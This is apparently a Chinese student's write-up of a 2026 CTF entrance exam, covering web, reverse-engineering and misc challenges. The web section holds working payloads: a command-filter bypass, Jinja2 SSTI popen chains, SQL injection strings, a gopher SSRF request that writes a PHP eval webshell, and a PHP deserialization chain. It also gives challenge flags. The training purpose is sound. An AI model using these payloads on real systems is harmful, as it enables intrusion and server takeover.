2026云曦见面考复现
2026/6/5 7:12:09 网站建设 项目流程

一.Web

1.hello_rce

打开环境,看到一个PHP命令执行界面,但是发现过滤了很多函数,一般我们常见的都被过滤了

看到下面有个提示,试一下这个提示

scandir('.')表示返回当前目录中的所有文件和目录,返回的是一个列表
print_r(scandir('.'))表示输出这个返回的列表
我一开始想的是读取flag文件的内容,用array_reverse()将得到的数组内容反转,然后用next()将内部指针指向数组的下一个元素也就是flag文件,然后输出这个文件的内容,但是我知道那几个读取文件的函数都被过滤了,比如file_get_contents(),show_source(),readfile(),highlight_file(),这里归咎还是自己知识不够,然后再补充几个读取文件内容的函数:
file()用于将整个文件读取到一个数组中,每一行作为数组的一个元素,包括换行符。
include()它的本质是读取文件的内容,然后解析并执行PHP代码,但是如果没有PHP代码,就会直接输出文件内容,既然include()可以,那么require()应该也可以

然后这里还有一个函数没有被过滤,passthru(),但是我做题的时候,忘记ls被过滤了,所以我使用passthru("ls");时,它提示我被安全过滤器屏蔽了,我以为是passthru()被过滤了,现在再来看其实是ls被过滤了,所以做题还是要细心,既然psaathru()没有被过滤,那么我们就查看一下目录,使用${IFS}代替空格

然后再读取一下flag文件的内容,cat被过滤了,可以使用tac,sort,nl命令(这里我重开了环境,所以flag值不一样)

这里要注意不能使用双引号来引用,因为双引号会解析变量,${IFS}会被替换为空,最终给系统的命令是tacflag,单引号不会解析变量,因此${IFS}被视为纯文本字符串,shell接收后将${IFS}解析为空格,执行tac flag

还有一个方法是使用include()直接读取flag文件,因为flag文件是在当前目录下,一般flag文件就是放在/var/www/html目录下,这个可以记一下

2.新东西

打开环境,看到一个输入内容的输入框,然后输入的东西会被回显到页面,我一开始还以为是考XSS漏洞

看到提示是ssti,先去了解一下ssti,ssti是服务器端模版(固定好格式,可以直接填充的东西注入,它的漏洞原理就是服务器端没有对用户输入进行过滤,就将用户输入带入到Web应用模板,导致了模板引擎(将数据和模板结合起来动态生成 HTML 页面)在进行编译渲染时,执行了用户输入的语句

SSTI漏洞利用的基本流程就是:获取当前类 -> 获取其object基类 -> 获取所有子类 -> 获取可执行shell命令的子类 -> 获取可执行shell命令的方法 -> 执行shell命令(类本身不会执行命令,通过子类的方法找到os模块,再用os执行命令。)

我们一般使用{{ }}来判断是否存在ssti漏洞,因为使用其他符号可能尝试误判,{{ }}几乎是专属的模板引擎,{{ }} 是模板语法中的变量插值符号,它的核心作用是将变量或表达式的值嵌入到文本中

我们输入{{7 * 7}}试一下,发现给我们回显的是结果

但是在源码里我们没有看到{{ }},因此这不是前端模板,而是服务器计算7*7的结果,然后浏览器回显到页面上

所以判断这是SSTI漏洞,接下来判断一下是哪个模板类型

当注入{{7*'7'}},如果执行成功回显7777777说明是Python jinja2模板,如果回显是49就说明是PHP Twig模板。

看到回显7777777,判断是Python jinja2模板,这类模板的特点是使用 {{ }} 作为表达式包裹符,需要通过对象继承关系链(_class_,_bases_,_subclasses_)去寻找可利用的类和方法。

继承关系是指当当前子类无可利用的方法时,可由当前子类从其object基类找到其他子类的可利用方法;object是父子关系的顶端,所以的数据类型最终的父类都是object;object可以获取所有子类

魔术方法:
__class__:于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>

__bases__:以元组的形式返回一个类所直接继承的类。
__base__:以字符串返回一个类所直接继承的第一个类。
__mro__:返回解析方法调用的顺序。

__base__返回tset()的两个父类
__mro__查看类的继承链,从当前类一直到 object
__subclasses__():获取父类下的所有子类(魔术方法)
__init__:所有自带类都包含init方法,它是类的构造函数,创建对象时自动调用
__globals__:这是函数的属性,用于访问函数所在模块的全局变量字典,相当于一个字典,装着函数能用的所有东西,function.__globals__用于获取function所处空间下可使用的模块、方法以及所有变量。
__builtins__:访问 Python 内置函数和异常(如 open、eval、exec)

构造payload来查看一下所有子类,因为我已经试过{{''.__class__.__base__.__base__}}它的回显是None,所以它的父类就是object,也可以使用{{''.__class__.__mro__}}来查看当前类和所以父类(按继承关系排)知道object,都会发现我构造的这个payload的当前类的父类就是object,当前所以构造{{''.__class__.__base__.__subclasses__()}}

这里要使用__base__,因为__subclasses__()的作用是获取父类下的所有子类

这里得到了子类,接下来就是找到能执行shell命令的子类,因为最终的目的都是为了拿到os模块或者能直接执行命令的入口,所以这里遍历子类有三类目标
一类是自带命令执行,也就是类本身有popen或者system方法,比如 subprocess.Popen , os._wrap_close
另一类是模块导入os,就是__init__.__globals__里有os,比如 warnings.catch_warnings
还有一类就是有__builtins__的,能通过__builtins__动态导入
这里列一下几个常见的:
1.os._wrap_close- 最直接的os模块入口
基本语法:{{ ''.__class__.__mro__[2].__subclasses__()[ ].__init__.__globals__['os'].popen('whoami').read() }}
popen() 打开一个管道到命令,返回一个文件对象,可以像读文件一样读取命令输出
.read() 读取文件对象的所有内容

2.subprocess.Popen- 直接执行命令(不需要os)
基本语法:{{ ''.__class__.__mro__[2].__subclasses__()[261]('whoami', shell=True, stdout=-1).communicate()[0] }}
shell=True 表示通过系统shell执行命令,shell=False 时(默认值),命令必须作为列表传入
stdout=-1 表示捕获输出,可以通过.communicate()获取
communicate()[0] 就是取返回元组的第一个元素,即标准输出

3.warnings.catch_warnings- 经典入口(经常包含os)
4._sitebuiltins._Printer- 另一个常用入口(经常包含os)

__init__.__globals__这个我觉得可以理解为__init__就是得到我们需要的类的初始化函数,__globals__就是给我们这个函数能看到的全局变量字典

如果我们要使用os模块,因为类本身不直接包含os,但类的"出生环境"(全局变量)可能包含os,所以我们需要用__init__.__globals__来连接

所以我们要得到含有os的类的索引,因此构造payload:{{''.__class__.base__.__subclasses__()[].__init__.__globals__['os'].}},因为__globals__是字典,所以要用[ ]来访问,如果是属性,要用 . 来访问,这里我没有找到合适的脚本,然后数了一下,我使用的是os._wrap_close这个子类

构造payload:{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['os'].popen('whoami').read()}},发现报错了,原因是这个超全局字典里面没有os这个属性

尝试直接调用popen函数,发现成功调用,接下来就执行RCE漏洞

构造payload:{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

读取一下flag文件,构造payload:{{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

关于SSTI漏洞要再重新写一篇文章来学习一下

3.让我看看

打开环境,看到一个文件预览的输入框

输入一个index.php文件试一下

提示文件名不能含有 . ,试一下/ect/passwd,这是一个 文本文件,用于存储本地用户账户的静态信息

看到回显了很多本地用户账户的信息,疑似本地文件包含漏洞,然后看到提示是远程文件包含,这里应该是有一个文件包含漏洞,我对文件包含漏洞的理解就是include或者require等包含函数的参数能被用户控制,然后没有对用户的输入进行严格过滤,导致用户的输入的内容被作为文件路径,从而被显示或者解析,远程文件包含我认为就是攻击者构造恶意的URL来让这个存在用户输入的文件加载并执行这个恶意URL的内容,但是这个URL要能被这个存在文件包含漏洞的URL访问,而且必须满足allow_url_include=on

但是这里我们无法查看php.ini文件,不知道allow_url_include是否是开启的,但是这里我们看到有一个内网反弹shell专用靶机,它的IP地址与本题的IP地址是一样的,证明他们是在同一个内网环境中,代表他们之间是互通的,可以互相访问,因此,我们不能直接利用本题的远程文件包含漏洞,但是可以通过控制内网反弹shell专用靶机,在内网反弹靶机里写入一个一句话木马文件,让本题访问这个靶机的一句话木马文件,然后利用文件包含漏洞执行这个一句话木马文件

访问一下内网反弹shell专用靶机

SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13表示是标准的 SSH 协议标识字符串(也称为 banner)。
OpenSSH 8.9p1表示该服务器运行的是OpenSSH 8.9p1
3ubuntu0.13通常对应某个 Ubuntu 发行版的安全更新或补丁版本
Invalid SSH identification string这个错误通常出现在客户端中间代理/扫描工具尝试连接 SSH 服务时,收到了不符合预期格式的标识字符串。

了解一下SSH协议,它是一种基于加密的网络协议,用于在不安全网络(如互联网)中安全地进行远程登录、文件传输和命令执行。
在终端中连接SSH协议的语法是:ssh username@your_server_ip,这里我们还要指定端口

查看了一下根目录,然后随便找一个目录,写了一个一句话木马,但是文件名不含有 .

然后使用这个文件预览,访问一下这个文件,发现还是提示我们不能含有 .

用一下IP地址在线转化器

这里我这三个都试了,发现都访问不了,然后我想在shell文件里写入 phpinfo(); 这样的话如果成功执行一句话木马就能看到phpinfo()页面,然后我在终端里重新写入了,然后读取了一下我写入的文件,但是这里读取会发现写入的POST被过滤了

试一下会发现GET也被过滤了,那么试一下写 phpinfo(); 来看一下

再来试一下文件包含,发现不管用几进制都不可以,这里问了一下复现完的同学,原因是题目中的IP是公网IP,在内网中他们拥有各自的IP,如果我们想要通过本题来访问靶机IP,我们需要知道该靶机在内网中的真实 IP

这里不止需要内网的IP,也需要一个端口来帮我们连接,由于PHP 的 include(),file_get_contents() 等函数在处理 http:// 时,会发起标准的 HTTP 请求,但是SSH 靶机默认只开了 22 端口(SSH 协议,也可以用 ss -tuln 命令来查看开启的端口),没有 HTTP 服务,所以 Web 主机无法用http://...去读它,因此我们要在 SSH 靶机上手动启动一个临时 HTTP 服务器,让它把文件通过 HTTP 暴露出来!
这里要使用到 python3 -m http.server 8000 命令,8000 表示指定服务器监听的端口号

然后连接,这里用十六进制连接的话,注意十六进制的IP前面要加上0x

十进制也可以

4.Shadow Archive System

打开环境,看到一个注册用户框,还有一个通过ID查看用户的框

随便注册一下,发现注册成功后,注册的信息用ID能被查询到,也就是我们注册成功后,输入的ID被带入到数据库里查询,如果ID存在的话,就会回显出这个ID的注册信息,很像SQL注入,试一下SQL注入

提示成功注册,注册的ID为4,查询一下试试

发现成功得到数据库名,再来爆一下表名,构造payload:1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctf' #,得到注册成功,ID为5,查询一下试试

再查询一下列名,构造payload:1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='flags' #,成功注册后得到ID为6,使用ID查询一下

最后爆字段,构造payload:1' union select 1,2,group_concat(flag)from ctf.flags #

成功得到flag

5.网页源码查看器

打开看到一个网页预览的页面,发现访问index.php等文件都无法访问,扫描目录然后我直接访问也没有什么有用的信息

然后看到提示有SSRF漏洞,先了解一下这个漏洞,SSRF漏洞(服务器端请求伪造的漏洞)是一种攻击者利用服务器的可控输入,来诱导服务器访问攻击者指定的地址,也就是这里的网页预览

这里我用抓包试了好几个伪协议:
file://协议(用于直接读取服务器本地文件系统内容)
dict://协议(用于探测端口开放情况)
gopher://( 被称为“万能协议”,可构造任意TCP数据包,支持GET/POST请求,甚至与Redis、MySQL、FastCGI等交互:)
php://协议 (PHP特有协议,可访问输入流、内存流等,结合php://filter可读取源码。)
jar://协议 (可加载远程或本地JAR包,部分Java环境下可利用。)
发现file://,dict://和http://协议都被过滤了,php://filer也不可以使用,但是gopher://可以使用,gopher://发送的是原始的数据,因此我们构造的payload需要编码,试一下使用gopher://来访问一下本地主机地址(回环地址),但是我们会发现报错了

发现报错原因是127.0.0.1的70端口没有运行任何服务,原因是gopher://协议是默认访问70端口,但是访问本地的端口是80,因此还需要再确定一个端口,才可以访问到127.0.0.1,然后我们一开始扫描到了这里有一个db.php文件,现在我们连接到了本地主机,那么我是试一下能不能让他自己来访问自己内部的db.php文件


这个回显里面的 400 Bad Request 表示客户端发送的请求语法错误,服务器无法理解,从Your browser sent a request that this server could not understand也能知道我们的请求有误
Apache/2.4.54 (Debian) Server at 172.1.1.144 Port 80中,Apache/2.4.54 (Debian)表示Web服务器软件是Apache,版本是2.4.54,操作系统是Debian,Server at 172.1.1.144 Port 80表示服务器知道自己被访问的 host 是 172.1.1.144,host 头的作用相当于告诉服务器 "我想访问你这台机器上的哪个网站?",但是在我们构造的payload中,由于我们没有在 HTTP 请求中告诉 Apache 我们想访问哪个网站(即Host头),于是 Apache 只能根据它自己绑定的 IP(172.1.1.140)来回应,所以错误页面显示的是它自己的真实内网地址。

因此我们要访问回环地址的话,需要构造正确的host,这里就要知道gopher://协议的基本语法:gopher://<host>:<port>/_<TCP数据流>,_后面的内容会被URL 解码

应该构造 gopher://127.0.0.1:80/_GET /db.php HTTP/1.1\r\nHost:127.0.0.1\r\n\r\n,但是前面提到构造的payload需要编码,因此最终payload:gopher://127.0.0.1:80/_GET%20/db.php%20HTTP/1.1%0D%0AHost:127.0.0.1%0D%0A%0D%0A

根据得到的这个一些信息,用户名是root,密码是空,数据库名是test,web根目录是/var/www/html,这里我看到提示是ssrf+SQL写马,然后搜到一篇文章,但是这里我还是听已经复现了得同学说可以看看得到的这个脚本生成的页面

但是我没有从这个里面得到什么信息,然后回到我看到的那篇wp,是讲无密码的sql,然后要用到工具 Gopherus,主要用于生成Gopher协议Payload,以利用服务器端请求伪造(SSRF)漏洞并实现远程代码执行(RCE),用gopher协议打mysql的一个工具,先下载一下这个工具

然后这里我们要使用的是无密码的mysql,因此要构造python2 gopherus.py --exploit mysql 这个命令

使用gopherus.py生成mysql类型的攻击载荷,这里我输入的是一句话木马,将<?php @eval($_POST[x]); ?>写入根目录下的shell.php文件,但是这里一定要将生成的payload进行再次编码,因为受害服务器使用这个payload时会先进行一次解码,然后解码后的字符串发起 Gopher 请求,此时它应该还处于一个编码状态,但是这里我试了很多次,也进行了编码,但是文件一直无法上传,原因是因为我这个payload是给sql数据库发包,但是我是应该给db.php发包的,所以我的一直无法上传,然后再想到db.php的内容,它是有一个SQL查询语句的,然后有一个POST传参的参数,参数名为sql,提示是sql写马,那么试一下使用sql写入一句话木马:select '<?php @eval($_POST[x]); ?>' into outfile '/var/www/html/shell.php' 这条语句利用MySQL的 SELECT INTO OUTFILE 功能,在服务器上写入一个文件

TCP数据流为:

gopher://127.0.0.1:80/_POST /db.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 81

sql=select '<?php @eval($_POST[x]); ?>' into outfile '/var/www/html/shell.php';

编码一次后的内容是

gopher://127.0.0.1:80/_%50%4f%53%54%20%2f%64%62%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%38%31%0d%0a%0d%0a%73%71%6c%3d%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%78%5d%29%3b%20%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%27%3b%0d%0a

这里如果直接在前端发送的话,编码一次就可以,因为浏览器自动做 URL 编码,服务器解析后gopher收到的还是原始协议

使用蚁键连接

如果直接使用BP发包的话,需要再次编码

编码后成功发送

蚁键连接得到flag

6.你已急哭

打开环境,看到源码,分析一下

<?php error_reporting(0); highlight_file(__FILE__); class Entry { public $handler; public function __destruct() { if (isset($this->handler)) { echo "你已急哭"; $result = $this->handler->handle(); echo $result; } } } class Processor { public $callback; public $argument; public function handle() { if (is_object($this->callback)) { echo "哟,不错嘛"; $result = ($this->callback)($this->argument); return $result; } echo "Processor::handle() callback不是对象!"; return "Invalid handler!"; } } class FileReader { public $filename; public function __invoke($arg) { echo "加油啊,终点就在前方了!"; if ($this->filename === "/f1ag.php") { echo "666,这还说啥了,flag给你了。"; $flag = getenv('FLAG'); echo "Flag: " . $flag . ""; return ""; } else if (file_exists($this->filename)) { echo "文件存在,但不是目标文件..."; return file_get_contents($this->filename); } echo "文件不存在!"; return "File not found!"; } } class Logger { public $logfile; public $content; public function __toString() { return "Logger output!"; } public function handle() { return "Logger handler!"; } } if (isset($_GET['data'])) { $data = $_GET['data']; if (strlen($data) > 1000) { die("[-] Payload太长!"); } unserialize($data); } else { echo "提交方式: ?data=你的payload"; } //Hint: 目标文件路径是 /f1ag.php 提交方式: ?data=你的payload

分析一下:
class Entry表示定义一个类
public $handler;表示这个类里面有一个公共属性,公共属性的名称是 handler
public function __destruct()表示这是一个公开的魔术方法,__destruct()是在对象被销毁前的最后一刻自动调用的方法,它的主要职责是执行清理工作
isset($this->handler)表示检测handler的属性值是否存在且不为NULL
$result=$this->handler->handle();表示调用handler的handle函数,这里我感觉也不是很好理解

因此可以让$this->handler = new Processor(),$this->handler->handle() = 调用 Process 类里的 handle 方法

class Processor表示定义一个类
public $callback; public $argument;表示这个类里面有两个公共属性,公共属性的名称分别是 callback和 argument
public function handle()表示这是一个公开的函数,函数名为handle
is_object():检验变量是否是一个对象
handle()的作用是:检验当前类的callback的属性值是否是一个对象,如果是输出 "哟,不错嘛",()()这是PHP 中调用可调用变量(Callable Variable)的标准写法,($this->callback)($this->argument)表示把callback的属性的值拿出来作为函数或者方法,把argument的属性的值拿出来作为参数值,返回结果存储到result,如果不是,输出 "Processor::handle() callback不是对象!",返回 "Invalid handler!"

class FileReader表示定义一个类
public $filename表示这个类里面有一个公共属性,属性名为filename
public function __invoke($arg)表示这是一个公开的魔术方法,__invoke()方法是当尝试以调用函数的方式调用一个对象时也就是当一个对象被当成函数使用时,__invoke() 方法会被自动调用。
__invoke()方法的作用是:输出 "加油啊,终点就在前方",如果filename属性的值为 /flag.php,输出 "666,这还说啥了,flag给你了",得到flag,如果filename的属性的值不是 /flag.php,输出 "文件存在,但不是目标文件",返回属性的值的文件内容,如果文件不存在,输出 "文件不存在"

class Logger表示定义一个类
public $logfile; public $content;表示这个类里面有两个公共属性,公共属性的名称分别是 logfile 和 content
public function __toString()表示这是一个公开的魔术方法,__toString()用于在对象被当作字符串使用时自动调用。被调用时返回 "Logger output !" ,handle()被调用时返回 "Logger handler!"

$data=$_GET['data']表示定义一个变量,变量名为data,变量的值为GET传参的参数值,参数名为data,如果data的长度大于1000,输出Payload太长了,终止代码执行,然后反序列化data的值,如果data的值小于1000,输出 提交方式:?data=你的payload

因此这里的链是从GET进行输入,输入的内容使用unserialize来反序列化,然后脚本结束触发__destruct()方法,__destruct()方法里面的$this->handler调用了Process的handle函数,handle函数里面的($this->callback)是将一个对象被当成函数使用,而这个对象必须含有__invoke的方法,影刺这个对象是FileRead,从而调用了__invoke方法,__invoke方法里面的$this->filename为 /flag.php时,得到flag

先构造一下 FileRead 类的payload:O:10:"FileReader":1:{s:8:"filename";s:9:"/flag.php"}

由于callback的属性值是 FileRead
再构造 Processor 类的payload:O:9:"Processor":2:{s:8:"callback";O:10:"FileReader";s:8:"argument";s:1:"a"}

由于handler的属性值是Processor
最后构造 Entry 类的payload:O:5:"Entry":1:{s:7:"handler";s:9:"Processor"}

合起来构造payload为:?data=O:5:"Entry":1:{s:7:"handler";O:9:"Processor":2:{s:8:"callback";O:10:"FileReader":1:{s:8:"filename";s:9:"/f1ag.php";}s:8:"argument";s:1:"a";}}

二.Reverse

1.future_flag

下载一下这个应用程序,查一下有没有壳

发现没有壳,直接用IDA32打开,然后查找一下字符串

看到一个恭喜你,猜测可能含有什么信息,定位分析一下

大概看一下,先分析一下关键部分,看一下byte_405020的内容,然后异或

hex string (unspaced)表示导出为连续的十六进制字符串,无空格分隔。
hex string (spaced)导出为连续的十六进制字符串,有空格分隔。
string literal导出为 C/C++ 风格的字符串字面量(带引号),自动转义特殊字符。
示例:HelloHe\x6clo(如果包含非打印字符)
unsigned char array (hex)导出为 C 语言中的unsigned char数组,元素用十六进制表示。
unsigned char array (decimal)导出为 C 语言中的unsigned char数组,元素用十进制表示。
initialized C variable导出为一个完整的 C 变量声明并初始化(可能包括类型、变量名等)。
Save data to clipboard保存到剪贴板

我给他提取为十六进制数组,然后得到byte_405020的内容,再用快捷键转换一下0x42的值

用一个脚本来解密

得到flag

2.Portable_Executable

使用010Editor查看一下

发现文件头混合了很多,但是PE文件的文件头是MZ,修改一下

修改后保存一下,然后修改一下后缀为.exe,运行一下

可以运行,放进Die里面查看一下

用IDA分析一下

查看一下get_flag()的内容,得到Str2的值为 Yunxi{PE_StrUctUre_PeeeEEe!}
v3表示从标准输入读取,最多读取99个字符储存到Buffer里面
将Buffer里面的\n换成\0,比较Buffer和Str2的值,如果相等,输出flag正确
这里什么运算都没有,得到的Str2就是flag

3.interested_code

使用010查看一下,看到是PE文件

修改一下后缀,查看一下程序可以正常运行,用Die查一下壳

放进IDA分析一下

查看一下get_flag函数,得到flag的值为Yunxi{TrY_to_uNDerSTand_tHE_CoDE}
将flag的值复制到Destination里面,v8为Destination的值的长度
对Destination的值进行循环,如果Destination的值里面含有T,则让T变成ASCII码为116的值,如果Destination的值里面含有o,则让T变成ASCII码为48的值,Destination的值里面含有r,则让r变成ASCII码为82的值
比较变换后的Destination与输入的值,如果相等,输出flag正确,也就是说,经过变化的Destination的值就是正确的flag

写一个代码来运算一下

得到flag

4.美人鱼的传说

认真读一下题目描述,下载解压压缩包,放进010看一下

修改一下后缀,然后运行一下程序,这里我们随便输入一个flag,会跳出大量弹窗,这个时候就要用到题目的 单击鼠标后按Esc键,然后用Die查看一下

发现得到的信息挺多的,然后如果我们直接用IDA64打开分析是分析不了的,这里我们了解一下IDA得到的信息
打包工具: PyInstaller[overlay; modified]表明该.exe文件是由PyInstaller打包生成的。PyInstaller 是将 Python 脚本打包成独立可执行文件的工具。
因此这个程序应该是由 Python 脚本使用 PyInstaller 打包而成的程序

下载一下附件的压缩包PyGlimmer.zip(PyGlimmer是一个用于Python逆向工程的工具,主要用于解包和反编译PyInstaller打包的程序)

PyInstaller解包: 提取和分析PyInstaller可执行文件

批量反编译:同时处理多个pyc文件

PYC解密:支持PyInstaller加密字节码

字节码分析:十六进制/文本/字节码查看

因为这是一个被PyInstaller打包的可执行文件,因此我们使用PyInstaller来解包,然后再来看一下解包后的文件,看到一个flag.txt文件,查看一下

发现是一个提示,提示我们要运行程序检验一下,然后再查看一下,看到最上面的几个文件夹

_tcl_data和_tk_data分别是用来存放Tcl/Tk的数据文件和Tk图形库的数据资源
importlib_metadata-8.7.1.dist-info是用来存放importlib_metadata的元数据信息
PIL是Python Imaging Library(PIL)或 Pillow 的模块。
PYZ.pyz_extracted包含从PYZ-00.pyz解压出来的所有.pyc文件(Python 编译后的字节码),按照原始导入路径组织成树状结构
.pyz文件是一个将 Python 源代码、依赖库以及启动脚本打包在一起的ZIP 压缩文件,可以直接被 Python 解释器识别并运行,无需手动解压。
setuptools是Python 的构建工具包。
tcl8是Tcl 语言的运行时库。

那么我们看一下PYZ.pyz_extracted文件夹下面的内容

看到一个flag.pyc文件,.pyc文件是Python的字节码文件,因此需要用 PyGlimmer 来反编译将字节码还原为近似原始的 Python 源码(.pyc 的内部结构随Python版本变化,PyInstaller 打包时会嵌入特定版本的 Python 解释器(如 3.9、3.10),而 .pyc 文件就是按那个版本生成的)

使用 PyGlimmer 的单文件反编译来反编译一下 flag.pyc 文件

反编译器那里有四个选项
uncompyle6:适用版本:Python 2.7, 3.3 ~ 3.9
decompyle3:适用版本:Python 3.7 ~ 3.11
pycdc:直接解析 CPython 的字节码
pycdas:是pycdc的配套工具,不是反编译器

得到一个flag=Yunxi{PYthon_Decompile_Is_FUn..},但是我们提交会发现这是一个假的flag,这个时候就要用到flag.txt的提示,运行一下程序,得到真正的flag

另外一种是使用命令行来解包,下载一下 pyinstxtractor,然后来解包,在cmd里面执行python pyinstxtractor.py 命令

但是我们会发现我们用命令行提取出来的文件夹里面的.pyz_extracted是空的,原因是程序是用Python 3.9打包的,但我运行 pyinstxtractor.py 时使用的 Python 环境不是 3.9,需要安装python 3.9 才可以,然后使用命令 python3.9 pyinstxtractor.py 美人鱼的传说.exe 来解包,然后使用 pip install 来安装反编译工具(例如:pip install uncompyle6)

我没有下载python 3.9,就不写这个过程了

5.bad_base

下载解压压缩包,放到Die里面看一下,看到有UPX壳,并且这个UPX壳可能是变种UPX壳

放到010里面查看一下,修改一下壳

再脱壳

放进IDA分析一下

v3表示从标准输入,Buffer表示从v3最多读取99个字符,然后将Buffer的值里面的\n换成\0
看到一个process_user_input()函数,点击分析一下

分析一下大概逻辑,这个函数有三个参数,将第一个参数的值复制给Destination
看到一个xor_encrypt()函数,点击分析一下

这个函数名已经告诉我们,这是一个异或算法,打开函数也可以发现,这个函数使用第一个参数来与第三个参数异或,然后得到新的第一个参数

xor_encrypt(Destination, (unsigned int)v5, 51i64);也就是表示将Destination(Buffer)与51异或,得到一个新的Destination的值

再回到process_user_input函数,看到一个base64_encode()函数,点击分析一下

看到一个init_base64_table()函数,点击看一下

大概分析一下,就是把"lPoyIsWhZSjt/wJGeb1dD5fqr4nYa6HKuTX+NOEmV0MxgkL8932CzRvQAUFp7iBc"复制给base64_table
这里就是一个自定义base64编码函数

再回到main()函数,接着往下看,看到get_encoded_flag()函数,依旧看一下这个函数

strcat():用于将一个字符串追加到另一个字符串的末尾。
strcat(&full_flag, _data_start__[i]);:_data_start_[i]表示_data_start_里面含有6个字符串片段,然后将这6个字符串片段追加到full_flag
那么我们要看一下_data_start_[i]的值

在这里得到_data_start_里面的6个字符串片段,也就是得到了full_flag的值,也就是encode_flag的值为"nN461R0ZaqSl6uDhYh0uYIsvDOiKnE3vDEPMYI6aYIsvDs3zqq0S6TZ1INA"

最后来总结一下这个函数的作用,我们输入flag,这个flag会被存到Buffer里,然后Buffer经过异或运算,再经过base64_encode函数加密,得到一个新的值Str1,然后又有一个名为encode_flag的值,这个值是由get_encoded_flag函数得到的,encode_flag函数的值,最后比较encode_flag和Str1的值,如果相等,则输出flag正确,也就是说,我们已经知道了base64_encode函数加密后的值,因此我们要先解密,然后再异或,就能得到正确的flag

先解码一下这个自定义base64函数

得到异或后的字符串,然后再异或一下得到Buffer的值,也就是flag,这里如果我们直接用加密后的值去异或,会发现这是一个假的flag

这里有一个报错信息,意思是Python 字符串中包含了反斜杠 \ 开头的字符组合,但 \t 不是有效的转义序列。(如 \n 、 \t 、 \r 等),因此这里可以在前面加一个 r (字符串前加 r ,表示原始字符串,不处理转义)或者 用 \ 转义

三.Misc

1.today's secret

打开发现是一个摩斯密码的音频,可以使用Audacity来打开,Ctrl加滚轮来放大

也可以用随波逐流来,注意要换成小写

2.师兄的密码

下载解压压缩包,得到一张图片,使用010查看一下,看到文件尾有一个rar文件

使用随波逐流提取一下,发现提取了一个压缩包,打开却发现要密码

这里可以使用随波逐流爆破一下

得到flag

3.键盘成精,我被辅修了

下在解压附件,得到一个zip文件,用010查看一下

是一个.zip文件,修改一下后缀,再解压,得到一篇文章,看到提示是零宽度字符解密,但是这里使用我的文档打开来好像是破坏了结构,所以我解密得到的乱码

4.无声的诗行

下载解压压缩包,得到一个.png文件,然后发现无法打开图片,使用010查看一下

发现文件头有误,修改一下,得到一张图片,查看一下这张图片

根据题目描述,眼睛看不见,用指尖触碰得到这是盲文加密,找了一张图片来进行解密

得到盲文解密是Hello_World

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询